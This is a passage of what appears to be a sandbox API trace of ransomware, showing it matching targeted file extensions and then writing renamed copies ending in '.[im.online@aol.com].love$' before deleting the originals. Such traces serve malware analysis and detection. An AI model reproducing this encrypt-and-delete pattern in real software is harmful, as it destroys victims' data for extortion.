lpString2="WMF") returned -1 [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.409] lstrlenW (lpString=".dbf") returned 4 [0261.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.409] lstrlenW (lpString=".1cd") returned 4 [0261.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.409] lstrlenW (lpString=".jpg") returned 4 [0261.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.412] lstrlenW (lpString=".doc") returned 4 [0261.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.412] lstrlenW (lpString=".docx") returned 5 [0261.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.413] lstrlenW (lpString=".pdf") returned 4 [0261.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString=".xls") returned 4 [0261.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.413] lstrlenW (lpString=".xlsx") returned 5 [0261.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.413] lstrlenW (lpString=".ppt") returned 4 [0261.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.413] lstrlenW (lpString=".zip") returned 4 [0261.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.413] lstrlenW (lpString=".rar") returned 4 [0261.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString=".bz2") returned 4 [0261.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString=".7z") returned 3 [0261.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.413] lstrlenW (lpString=".dbf") returned 4 [0261.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.413] lstrlenW (lpString=".1cd") returned 4 [0261.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0261.413] lstrlenW (lpString=".jpg") returned 4 [0261.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.414] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.414] lstrlenW (lpString="IN00956_.WMF") returned 12 [0261.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.812] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1256) returned 1 [0261.812] CloseHandle (hObject=0x42c) returned 1 [0261.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0261.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.813] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.813] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.815] GetLastError () returned 0x0 [0261.815] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0261.817] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0261.818] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.818] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.818] SetEndOfFile (hFile=0x574) returned 1 [0261.818] CloseHandle (hObject=0x574) returned 1 [0261.819] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.819] SetEndOfFile (hFile=0x42c) returned 1 [0261.823] CloseHandle (hObject=0x42c) returned 1 [0261.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.826] lstrlenW (lpString=".doc") returned 4 [0261.826] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.826] lstrlenW (lpString=".docx") returned 5 [0261.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.826] lstrlenW (lpString=".pdf") returned 4 [0261.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.826] lstrlenW (lpString=".xls") returned 4 [0261.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.826] lstrlenW (lpString=".xlsx") returned 5 [0261.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.826] lstrlenW (lpString=".ppt") returned 4 [0261.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.826] lstrlenW (lpString=".zip") returned 4 [0261.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.826] lstrlenW (lpString=".rar") returned 4 [0261.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.826] lstrlenW (lpString=".bz2") returned 4 [0261.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString=".7z") returned 3 [0261.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.827] lstrlenW (lpString=".dbf") returned 4 [0261.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.827] lstrlenW (lpString=".1cd") returned 4 [0261.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.827] lstrlenW (lpString=".jpg") returned 4 [0261.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.827] lstrlenW (lpString=".doc") returned 4 [0261.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString=".docx") returned 5 [0261.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.827] lstrlenW (lpString=".pdf") returned 4 [0261.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.827] lstrlenW (lpString=".xls") returned 4 [0261.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.827] lstrlenW (lpString=".xlsx") returned 5 [0261.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.828] lstrlenW (lpString=".ppt") returned 4 [0261.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.828] lstrlenW (lpString=".zip") returned 4 [0261.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.828] lstrlenW (lpString=".rar") returned 4 [0261.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.828] lstrlenW (lpString=".bz2") returned 4 [0261.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.828] lstrlenW (lpString=".7z") returned 3 [0261.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.828] lstrlenW (lpString=".dbf") returned 4 [0261.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.828] lstrlenW (lpString=".1cd") returned 4 [0261.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0261.828] lstrlenW (lpString=".jpg") returned 4 [0261.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.829] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.829] lstrlenW (lpString="J0086426.WMF") returned 12 [0261.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.830] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=21782) returned 1 [0261.830] CloseHandle (hObject=0x42c) returned 1 [0261.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0261.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.831] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.832] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.834] GetLastError () returned 0x0 [0261.834] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5516, lpOverlapped=0x0) returned 1 [0261.837] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5520, lpOverlapped=0x0) returned 1 [0261.839] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.839] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.839] SetEndOfFile (hFile=0x574) returned 1 [0261.839] CloseHandle (hObject=0x574) returned 1 [0261.840] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.840] SetEndOfFile (hFile=0x42c) returned 1 [0262.065] CloseHandle (hObject=0x42c) returned 1 [0262.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0262.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.069] lstrlenW (lpString=".doc") returned 4 [0262.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.069] lstrlenW (lpString=".docx") returned 5 [0262.069] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.069] lstrlenW (lpString=".pdf") returned 4 [0262.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.069] lstrlenW (lpString=".xls") returned 4 [0262.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.069] lstrlenW (lpString=".xlsx") returned 5 [0262.069] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.069] lstrlenW (lpString=".ppt") returned 4 [0262.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.069] lstrlenW (lpString=".zip") returned 4 [0262.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.070] lstrlenW (lpString=".rar") returned 4 [0262.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString=".bz2") returned 4 [0262.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString=".7z") returned 3 [0262.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.070] lstrlenW (lpString=".dbf") returned 4 [0262.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.070] lstrlenW (lpString=".1cd") returned 4 [0262.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.070] lstrlenW (lpString=".jpg") returned 4 [0262.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.070] lstrlenW (lpString=".doc") returned 4 [0262.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString=".docx") returned 5 [0262.070] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0262.070] lstrlenW (lpString=".pdf") returned 4 [0262.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.070] lstrlenW (lpString=".xls") returned 4 [0262.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.071] lstrlenW (lpString=".xlsx") returned 5 [0262.071] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0262.071] lstrlenW (lpString=".ppt") returned 4 [0262.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.071] lstrlenW (lpString=".zip") returned 4 [0262.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.071] lstrlenW (lpString=".rar") returned 4 [0262.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.071] lstrlenW (lpString=".bz2") returned 4 [0262.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.071] lstrlenW (lpString=".7z") returned 3 [0262.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.071] lstrlenW (lpString=".dbf") returned 4 [0262.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.071] lstrlenW (lpString=".1cd") returned 4 [0262.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0262.071] lstrlenW (lpString=".jpg") returned 4 [0262.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.071] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0262.071] lstrlenW (lpString="J0089992.WMF") returned 12 [0262.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.073] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=15680) returned 1 [0262.073] CloseHandle (hObject=0x42c) returned 1 [0262.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0262.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0262.073] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.074] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0262.075] GetLastError () returned 0x0 [0262.075] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0262.080] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0262.082] ReadFile (in: hFile=0x42c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0262.082] WriteFile (in: hFile=0x388, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0262.082] SetEndOfFile (hFile=0x388) returned 1 [0262.082] CloseHandle (hObject=0x388) returned 1 [0262.082] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.083] SetEndOfFile (hFile=0x42c) returned 1 [0262.086] CloseHandle (hObject=0x42c) returned 1 [0262.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.088] lstrlenW (lpString=".doc") returned 4 [0262.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.088] lstrlenW (lpString=".docx") returned 5 [0262.088] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0262.088] lstrlenW (lpString=".pdf") returned 4 [0262.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.088] lstrlenW (lpString=".xls") returned 4 [0262.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.088] lstrlenW (lpString=".xlsx") returned 5 [0262.088] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0262.088] lstrlenW (lpString=".ppt") returned 4 [0262.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString=".zip") returned 4 [0262.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.089] lstrlenW (lpString=".rar") returned 4 [0262.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".bz2") returned 4 [0262.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString=".7z") returned 3 [0262.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString=".dbf") returned 4 [0262.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0262.089] lstrlenW (lpString=".1cd") returned 4 [0262.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.089] lstrlenW (lpString="C:\\Program Files\\Microsoft 